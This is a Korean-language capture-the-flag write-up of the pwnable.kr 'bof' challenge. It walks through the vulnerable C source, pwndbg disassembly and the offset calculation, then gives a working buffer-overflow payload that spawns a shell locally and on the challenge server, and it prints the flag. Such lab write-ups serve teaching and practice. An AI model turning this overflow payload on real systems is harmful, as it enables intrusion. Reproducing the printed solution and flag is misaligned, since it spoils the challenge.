[pwnable.kr] bof
문제 설명
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Nana는 버퍼 오버플로우가 소프트웨어에서 가장 일반적인 취약점이라고 말했습니다.
정말인가요?
해당 문제는 버퍼 오버플로우 취약점은 앞의 다른 문제 들과 다르게 취약점을 악용해서 플래그를 확인해야 합니다.
때문에 다른 문제들 처럼 ssh 접속 정보는 따로 존재하지 않고 분석해야하는 바이너리 파일(bof)와 소스 파일 (bof.c)가 존재합니다.
먼저 아래와 같은 명령어를 입력해 바이너리 파일과 소스 파일을 받습니다.
1
2
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
해당 bof 파일이 어떤 동작을 하는지 확인하기 위해 실행 권한을 추가 한 뒤, 프로그램을 실행해 봅니다.
1
2
3
4
5
❯ chmod +x ./bof
❯ ./bof
overflow me :
testest
Nah..
프로그램이 실행 됬을 때, overflow me : 라는 문자열이 출력되며, 이후에 사용자 입력을 받습니다.
적절한 입력값을 넣어 bof를 발생 시켜 문제를 해결해야 하는 것을 추측할 수 있습니다.
주어진 접속 정보(
nc pwnable.kr 9000)에 접속하게 되면 자동으로 bof 프로그램이 실행됩니다.대부분의 pwnable 문제들은 바이너리 파일과 접속 정보를 주게 되는데, 바이너리 파일을 이용하여 취약점을 분석하고 exploit을 작성해서 접속 정보에 페이로드를 전송하는 형식입니다.
문제 풀이
코드 분석
위에서 받은 bof.c 파일의 주요 코드를 분석하여 문제를 해결해 나가야 합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
main()
프로그램의 시작 점인 main 함수 부터 분석하여 문제를 해결 하기 위해 진행해 보겠습니다.
16 행 : func(0xdeadbeef);
main함수가 실행되자 마자func()을 호출하고 인자로0xdeadbeef를 넘겨주는 것을 확인할 수 있습니다.
main 함수에서는 func()을 호출하는 기능 이외의 기능은 없기 때문에 중요한 func 함수를 유심히 살펴 보아야 합니다.
func()
func 함수를 분석하고 입력 했을 때 쉘을 획득할 수 있는지 확인해야 합니다.
5 행 : char overflowme[32];
- 32byte 크기의 char형 변수
overflowme를 선언 합니다.- 변수 명에서 알 수 있듯이 해당 변수에서 buffer overflow를 발생 시켜 문제를 해결해야 할 것으로 보입니다.
7 행 : gets(overflowme);
gets()함수를 통해 사용자의 입력 값을overflowme변수에 저장하게 됩니다.- 해당 함수는 사용자 입력값에 대한 길이 검증이 없어 취약한 함수입니다.
길이 검증이 없다는 것은 변수의 크기보다 많은 양의 값을 삽입할 수 있음을 의미합니다. 변수의 크기보다 많은 양의 값을 삽입할 경우 변수 공간을 넘어 다른 메모리 공간 까지 침범할 수 있게됩니다.
8 행 : if(key == 0xcafebabe)
key변수는 함수의 인자로 받은0xdeadbeef가 들어가 있습니다.key의 값과0xcafebabe를 비교하면 항상 거짓이 됩니다.- 이때 bof를 이용하여
0xdeadbeef값을0xcafebabe로 덮어 씌워야 합니다.
디버깅
disass main
1
2
3
4
5
6
7
8
9
10
11
pwndbg> disass main
Dump of assembler code for function main:
0x5655568a <+0>: push ebp
0x5655568b <+1>: mov ebp,esp
0x5655568d <+3>: and esp,0xfffffff0
0x56555690 <+6>: sub esp,0x10
0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x5655569a <+16>: call 0x5655562c <func>
0x5655569f <+21>: mov eax,0x0
0x565556a4 <+26>: leave
0x565556a5 <+27>: ret
7 행 : mov DWORD PTR [esp],0xdeadbeef
- 현재 스택의 위치에
0xdeadbeef값을 넣는 것을 확인할 수 있습니다.
8 행 : call 0x5655562c <func>
func함수를 호출하며 이때 인자로는main+9에서esp에 설정하는 것을 할 수 있습니다.
32bit 바이너리는 함수를 호출 할때 인자를 스택으로 넘겨주게 됩니다.
func 함수를 분석 할때 ebp + 8의 값이 인자의 값이라고 바로 나오게 되는데 x86에서의 스택과 calling convention에 대해서 알게 되면 이해할 수 있습니다.
자세한 내용은 다른 포스트에서 다루도록 하겠습니다.
disass func
함수 호출 직후를 확인하면 다음과 같습니다.
먼저 프롤로그에 의해서 스택의 위치가 변하게 됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7e31c40 <__GI__IO_puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e31120 <_IO_gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7e05780 <__libc_system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7e31c40 <__GI__IO_puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7ed8530 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
2 행 ~ 3 행 : func + 1 까지 실행 시킨 뒤 인자가 들어 있는 공간(esp+8)을 확인하면 인자로 전달된 0xdeadbeef를 확인할 수 있고 주소도 확인 가능합니다.
1
2
pwndbg> x/x $ebp+8
0xffffd330: 0xdeadbeef
0xfffd330의 위치에0xdeadbeef가 들어 있는 것을 볼 수 있습니다.
9 행 ~ 13 행 :
1
2
3
4
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e31120 <_IO_gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
eax에 먼저[ebp-0x2c]의 주소를 넣습니다.- 이는 사용자의 입력값이 들어갈 위치가 됩니다.
- 사용자의 입력값이 들어가는 주소의 시작 주소를 보면 다음과 같습니다.
1
2
pwndbg> x/x $ebp - 0x2c
0xffffd2fc: 0x00000009
이후
esp(현재 스택의 위치)에eax를 넣게 됩니다.마지막으로
cmp명령을 통해서ebp+0x8(첫 번째 인자가 들어간 공간)의 값과 0xcafebabe를 비교하게 됩니다.
덮어써야 하는 공간의 길이는 (ebp+8) - (ebp-0x2c)가 됩니다.
1
2
pwndbg> p ($ebp+8)-($ebp-0x2c)
$1 = 52
결론
func함수 내에서 32 바이트의 char형 공간을 할당 하였다.- 사용자의 입력 길이를 검증하지 않는
gets함수 사용으로 인해 bof가 가능하다. - 변조 해야하는 값은 첫 번째 인자(
0xdeadbeef)가 입력된ebp+8이다. - 사용자의 입력 값이 담기는 주소(
ebp-0x2c) 부터ebp+8까지의 거리는 52 byte이다. - 즉, 52byte를 덮어 쓰고 마지막 4byte에 원하는 값
0xcafebebe를 인자로 넘겨주면 된다.
결과
다음과 같이 페이로드 전송 시 로컬에서 쉘을 얻을 수 있다.
1
2
3
4
❯ (python2.7 -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | ./bof
overflow me :
id
uid=1000(ott3r) gid=1000(ott3r) groups=1000(ott3r),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),133(lxd),134(sambashare)
페이로드 검증에 성공 하였다면 원격지 서버에 페이로드를 전송하여 플래그를 확인할 수 있다.
1
2
3
4
5
6
7
8
9
❯ (python2.7 -c 'print "A"*52 + "\xbe\xba\xfe\xca"' ; cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
